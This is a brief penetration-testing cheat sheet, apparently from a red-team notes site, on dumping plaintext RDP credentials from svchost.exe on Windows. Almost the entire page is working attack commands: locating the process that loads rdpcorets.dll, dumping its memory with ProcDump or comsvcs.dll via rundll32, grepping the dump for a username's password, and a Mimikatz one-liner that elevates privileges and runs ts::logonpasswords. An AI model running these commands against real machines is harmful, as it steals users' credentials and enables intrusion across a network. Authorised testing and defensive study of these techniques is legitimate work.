> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/credential-harvesting/from-memory/svchost-exe.md).

# svchost.exe

* <https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/>

Locate the svchost.exe process that's holding RDP creds:

```
Cmd > tasklist /M:rdpcorets.dll
```

Use ProcDump or comsvc.dll to dump process memory:

```
Cmd > .\procdump64.exe -accepteula -64 -ma <PROCESS_PID> svchost.dmp
Cmd > rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PROCESS_PID> C:\Windows\Temp\svchost.dmp full
```

Grep for plaintext passwords:

```
$ strings -el svchost.dmp | grep <USERNAME> -C1
```

## Mimikatz

```
Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "ts::logonpasswords" "exit"
```